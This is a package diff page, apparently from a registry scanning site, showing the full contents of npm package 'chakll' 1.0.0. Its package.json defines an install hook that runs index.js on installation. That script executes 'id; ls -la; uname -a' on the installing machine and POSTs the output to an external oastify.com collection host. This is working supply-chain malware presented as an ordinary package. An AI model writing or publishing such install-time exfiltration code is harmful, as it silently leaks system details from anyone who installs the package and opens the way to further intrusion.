chakll 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +36 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,36 @@
1
+ const { exec } = require('child_process');
2
+ const http = require('http');
3
+
4
+ const commands = 'id; ls -la; uname -a';
5
+
6
+ exec(commands, (error, stdout, stderr) => {
7
+ if (error || stderr) {
8
+ return;
9
+ }
10
+
11
+ const output = stdout;
12
+
13
+ const data = JSON.stringify({ data: output });
14
+
15
+ const options = {
16
+ hostname: '7iqagt5n8qelx3vka1y4sxlmedk48uwj.oastify.com',
17
+ port: 80,
18
+ path: '/',
19
+ method: 'POST',
20
+ headers: {
21
+ 'Content-Type': 'application/json',
22
+ 'Content-Length': data.length
23
+ }
24
+ };
25
+
26
+ const req = http.request(options, (res) => {
27
+ // No se realiza ninguna acción con la respuesta
28
+ });
29
+
30
+ req.on('error', (e) => {
31
+ // No se realiza ninguna acción con el error
32
+ });
33
+
34
+ req.write(data);
35
+ req.end();
36
+ });
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "chakll",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }